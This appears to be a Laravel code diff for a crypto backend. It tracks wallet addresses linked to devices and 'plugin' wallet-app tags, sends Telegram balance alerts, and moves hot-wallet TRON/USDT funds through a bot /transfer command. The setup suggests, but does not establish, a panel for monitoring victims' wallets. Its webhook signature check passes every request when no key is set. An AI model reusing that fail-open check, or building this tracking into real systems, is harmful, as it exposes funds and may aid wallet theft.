$tokenSymbol = strtoupper(trim((string) ($payload['tokenSymbol'] ?? '')));
$value = $payload['value'] ?? null;
$tokenValue = $payload['tokenValue'] ?? null;
$lookup = $this->normalizeAddress($address, $coin);
$rows = WalletAddress::query()
->where('monitor', 1)
->where(function ($q) use ($lookup, $address) {
$q->where('address', $lookup)->orWhere('address', $address);
if (strcasecmp($lookup, $address) !== 0) {
$q->orWhereRaw('LOWER(address) = ?', [strtolower($lookup)]);
}
})
->get();
if ($rows->isEmpty()) {
return;
}
$dedupeSymbol = $tokenSymbol;
try {
TokenviewEvent::query()->create([
'txid' => $txid,
'address' => $lookup,
'coin' => $coin,
'token_symbol' => $dedupeSymbol,
'value' => is_scalar($value) ? (string) $value : null,
'token_value' => is_scalar($tokenValue) ? (string) $tokenValue : null,
]);
} catch (\Throwable) {
// unique violation → already processed
return;
}
$deltas = $this->resolveDeltas($coin, $value, $tokenSymbol, $tokenValue);
if ($deltas === []) {
return;
}
DB::transaction(function () use ($rows, $deltas) {
foreach ($rows as $row) {
/** @var WalletAddress $row */
foreach ($deltas as $col => $delta) {
$current = $row->{$col};
$base = ($current === null || $current === '') ? 0.0 : (float) $current;
$row->{$col} = $base + $delta;
}
$row->save();
}
});
$inbound = [];
foreach ($deltas as $col => $delta) {
if ($delta > 0) {
$inbound[$col] = $delta;
}
}
if ($inbound === []) {
return;
}
$deviceKey = Device::query()->whereKey($rows->first()->device_id)->value('device_id') ?: (string) $rows->first()->device_id;
foreach ($inbound as $col => $delta) {
$this->telegram->notifyBalanceChange(
(string) $deviceKey,
$lookup,
strtoupper($col),
WalletAddress::formatAmount($col, $delta),
$coin
);
}
}
public function verifySignature(string $rawBody, ?string $signature): bool
{
$signKey = (string) config('coruna.tokenview.sign_key');
if ($signKey === '') {
return true;
}
if ($signature === null || $signature === '') {
return false;
}
$expected = hash_hmac('sha256', $rawBody, $signKey);
return hash_equals($expected, strtolower($signature))
|| hash_equals($expected, $signature);
}
/**
* @return array<string, float> column => delta
*/
private function resolveDeltas(string $coin, mixed $value, string $tokenSymbol, mixed $tokenValue): array
{
$deltas = [];
if ($tokenSymbol !== '' && is_numeric($tokenValue)) {
$col = strtolower($tokenSymbol);
if (in_array($col, WalletAddress::COIN_COLUMNS, true)) {
$deltas[$col] = (float) $tokenValue;
}
}
if (is_numeric($value)) {
$nativeCol = self::nativeColumnForCoin($coin);
if ($nativeCol !== null) {
// Prefer token delta when both present for same column (USDT-only token txs
// often still send a tiny native gas value — keep both columns when distinct).
$deltas[$nativeCol] = (float) $value;
}
}
return $deltas;
}
private function normalizeAddress(string $address, string $coin): string
{
$c = strtolower($coin);
if (in_array($c, ['eth', 'bsc', 'bnb'], true) || str_starts_with($address, '0x') || str_starts_with($address, '0X')) {
return strtolower($address);
}
return $address;
}
}
+67
View File
@@ -0,0 +1,67 @@
<?php
namespace App\Services;
use App\Services\Chain\ChainManager;
use RuntimeException;
class TransferService
{
public function __construct(
private readonly ChainManager $chains,
) {}
/**
* @return array{ok: true, txid: string, from: string}|array{ok: false, error: string}
*/
public function handle(string $chain, string $to, string $amount, string $asset = 'USDT'): array
{
try {
$mnemonic = (string) config('coruna.hot_wallet.mnemonic', '');
if (trim($mnemonic) === '') {
return ['ok' => false, 'error' => 'HOT_WALLET_MNEMONIC is not configured'];
}
$index = (int) config('coruna.hot_wallet.index', 0);
$asset = strtoupper(trim($asset));
$driver = $this->chains->resolve($chain);
if (! $driver->isValidAddress($to)) {
return ['ok' => false, 'error' => 'Invalid recipient address'];
}
$this->assertAmountWithinLimit($amount, $asset);
$from = $driver->deriveAddress($mnemonic, $index);
$txid = match ($asset) {
'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount),
'USDT' => $driver->sendToken(
$mnemonic,
$index,
$to,
$amount,
(string) config('coruna.tron.usdt_contract'),
),
default => throw new RuntimeException("Unsupported asset: {$asset}"),
};
return ['ok' => true, 'txid' => $txid, 'from' => $from];
} catch (\Throwable $e) {
return ['ok' => false, 'error' => $e->getMessage()];
}
}
private function assertAmountWithinLimit(string $amount, string $asset): void
{
if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) {
throw new RuntimeException('Invalid amount');
}
$maxKey = $asset === 'TRX' ? 'coruna.transfer.max_trx' : 'coruna.transfer.max_usdt';
$max = (string) config($maxKey, '0');
if ($max !== '' && $max !== '0' && bccomp($amount, $max) > 0) {
throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})");
}
}
}
+63
View File
@@ -0,0 +1,63 @@
<?php
namespace App\Support;
use App\Models\Channel;
use App\Models\User;
use Illuminate\Database\Eloquent\Builder;
final class AgentScope
{
/**
* Channel IDs owned by the agent (empty list means no access).
*
* @return list<string>
*/
public static function channelIdsFor(?User $agent): array
{
if ($agent === null) {
return [];
}
return Channel::query()
->where('user_id', $agent->id)
->pluck('channel_id')
->all();
}
/**
* Restrict a devices query (or anything with devices.channel_id) to an agent.
* Admin passes null agent → no restriction.
*/
public static function applyDeviceChannelScope(Builder $query, ?User $agent, string $channelColumn = 'devices.channel_id'): Builder
{
if ($agent === null) {
return $query;
}
$ids = self::channelIdsFor($agent);
if ($ids === []) {
return $query->whereRaw('1 = 0');
}
return $query->whereIn($channelColumn, $ids);
}
public static function applyAgentUserFilter(Builder $devicesQuery, ?int $agentUserId): Builder
{
if ($agentUserId === null || $agentUserId <= 0) {
return $devicesQuery;
}
$ids = Channel::query()
->where('user_id', $agentUserId)
->pluck('channel_id')
->all();
if ($ids === []) {
return $devicesQuery->whereRaw('1 = 0');
}
return $devicesQuery->whereIn('devices.channel_id', $ids);
}
}
+151
View File
@@ -0,0 +1,151 @@
<?php
namespace App\Support;
/**
* Map plugin short tag payload `a` → human wallet name.
*/
final class WalletSource
{
/** @var array<string, string> */
private const TAGS = [
'b' => 'imToken',
'b1' => 'imToken',
'p' => 'Global Wallet',
'd' => 'Trust Wallet',
'r' => 'Bitpie',
'q' => 'Coin98',
'e' => 'Coinbase Wallet',
'k' => 'Exodus',
'm' => 'Krystal',
'a' => 'MetaMask',
'a1' => 'MetaMask',
'j' => 'MyTonWallet',
'i' => 'Phantom',
'l' => 'Ronin',
'n' => 'Tonhub',
'g' => 'Tonkeeper',
'h' => 'Uniswap',
'h1' => 'Uniswap',
't' => 'OKX',
// lab / fixture aliases
'tp' => 'TokenPocket',
'im' => 'imToken',
];
public static function fromTag(mixed $tag): string
{
if (! is_string($tag) || $tag === '') {
return 'unknown';
}
$key = strtolower(trim($tag));
return self::TAGS[$key] ?? self::TAGS[$tag] ?? $tag;
}
/**
* Infer chain type from address when plugin omits chainType.
*/
public static function inferChainType(string $address): string
{
$address = trim($address);
if ($address === '') {
return 'unknown';
}
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $address)) {
return 'ETHEREUM';
}
if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) {
return 'TRON';
}
// Binance Chain / Beacon Chain bech32 (must precede Solana base58)
if (preg_match('/^(bnb|tbnb)1[a-z0-9]{38,90}$/i', $address)) {
return 'BSC';
}
if (preg_match('/^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,62}$/', $address)) {
return 'BITCOIN';
}
if (preg_match('/^[1-9A-HJ-NP-Za-km-z]{32,44}$/', $address) && ! str_starts_with($address, 'T')) {
// Solana-like base58
return 'SOLANA';
}
if (preg_match('/^EQ|^UQ/i', $address)) {
return 'TON';
}
return 'unknown';
}
/**
* Format raw on-chain integer by decimal; pass through already-decimal strings.
*/
public static function formatBalance(mixed $raw, mixed $decimal = null): int|float|string
{
if ($raw === null || $raw === '') {
return 0;
}
$rawStr = trim((string) $raw);
if ($rawStr === '') {
return 0;
}
// Already human-readable (contains decimal point) — keep numeric value.
if (str_contains($rawStr, '.')) {
return self::normalizeNumber($rawStr);
}
if ($decimal === null || $decimal === '') {
return self::normalizeNumber($rawStr);
}
$dec = (int) $decimal;
if ($dec <= 0) {
return self::normalizeNumber($rawStr);
}
if (! function_exists('bcdiv')) {
$value = ((float) $rawStr) / (10 ** $dec);
return self::normalizeNumber((string) $value);
}
$formatted = bcdiv($rawStr, bcpow('10', (string) $dec, 0), $dec);
$formatted = rtrim(rtrim($formatted, '0'), '.');
if ($formatted === '' || $formatted === '-0') {
$formatted = '0';
}
return self::normalizeNumber($formatted);
}
private static function normalizeNumber(string $value): int|float|string
{
if (! is_numeric($value)) {
return $value;
}
if (str_contains($value, '.')) {
$f = (float) $value;
return $f == (int) $f ? (int) $f : $f;
}
// large integers stay as string if beyond PHP int
if (strlen(ltrim($value, '+-')) > 18) {
return $value;
}
return (int) $value;
}
public static function nativeSymbolForChain(string $chainType): string
{
return match (strtoupper($chainType)) {
'TRON', 'TRX' => 'TRX',
'BITCOIN', 'BTC' => 'BTC',
'ETHEREUM', 'ETH', 'EVM' => 'ETH',
'SOLANA', 'SOL' => 'SOL',
'TON' => 'TON',
'BNB', 'BSC', 'BINANCE' => 'BNB',
default => strtoupper($chainType) ?: 'UNKNOWN',
};
}
}
@@ -0,0 +1,13 @@
<?php
namespace App\Telegram\Handlers;
use SergiX44\Nutgram\Nutgram;
class PingCommand
{
public function __invoke(Nutgram $bot): void
{
$bot->sendMessage('pong');
}
}
@@ -0,0 +1,51 @@
<?php
namespace App\Telegram\Handlers;
use App\Services\TransferService;
use SergiX44\Nutgram\Nutgram;
class TransferCommand
{
public function __construct(
private readonly TransferService $transfers,
) {}
public function __invoke(Nutgram $bot, string $args): void
{
$parts = preg_split('/\s+/', trim($args)) ?: [];
if (count($parts) < 2) {
$bot->sendMessage("Usage: /transfer <toAddress> <amount> [TRX|USDT]\nDefault asset: USDT");
return;
}
$to = $parts[0];
$amount = $parts[1];
$asset = strtoupper($parts[2] ?? 'USDT');
if (! in_array($asset, ['TRX', 'USDT'], true)) {
$bot->sendMessage('Asset must be TRX or USDT.');
return;
}
$bot->sendMessage("⏳ Transferring {$amount} {$asset} → {$to} …");
$result = $this->transfers->handle('tron', $to, $amount, $asset);
if (! ($result['ok'] ?? false)) {
$bot->sendMessage('❌ '.($result['error'] ?? 'Transfer failed'));
return;
}
$bot->sendMessage(implode("\n", [
'✅ Transfer submitted',
'From: '.$result['from'],
'To: '.$to,
'Amount: '.$amount.' '.$asset,
'TxID: '.$result['txid'],
]));
}
}
@@ -0,0 +1,23 @@
<?php
namespace App\Telegram\Middleware;
use SergiX44\Nutgram\Nutgram;
class AuthorizedChat
{
public function __invoke(Nutgram $bot, callable $next): mixed
{
$expected = (string) config('coruna.telegram.owner_chat_id', '');
if ($expected === '') {
return null;
}
$chatId = $bot->chatId();
if ($chatId === null || (string) $chatId !== $expected) {
return null;
}
return $next($bot);
}
}
@@ -0,0 +1,40 @@
<?php
namespace App\Telegram\Middleware;
use SergiX44\Nutgram\Nutgram;
use SergiX44\Nutgram\Telegram\Properties\ChatMemberStatus;
class GroupAdminOnly
{
public function __invoke(Nutgram $bot, callable $next): mixed
{
$chatId = $bot->chatId();
$userId = $bot->userId();
if ($chatId === null || $userId === null) {
return null;
}
try {
$member = $bot->getChatMember($chatId, $userId);
} catch (\Throwable) {
$bot->sendMessage('⛔ Unable to verify admin status.');
return null;
}
$status = $member?->status;
$ok = $status === ChatMemberStatus::CREATOR
|| $status === ChatMemberStatus::ADMINISTRATOR
|| $status === 'creator'
|| $status === 'administrator';
if (! $ok) {
$bot->sendMessage('⛔ Only group admins can use this command.');
return null;
}
return $next($bot);
}
}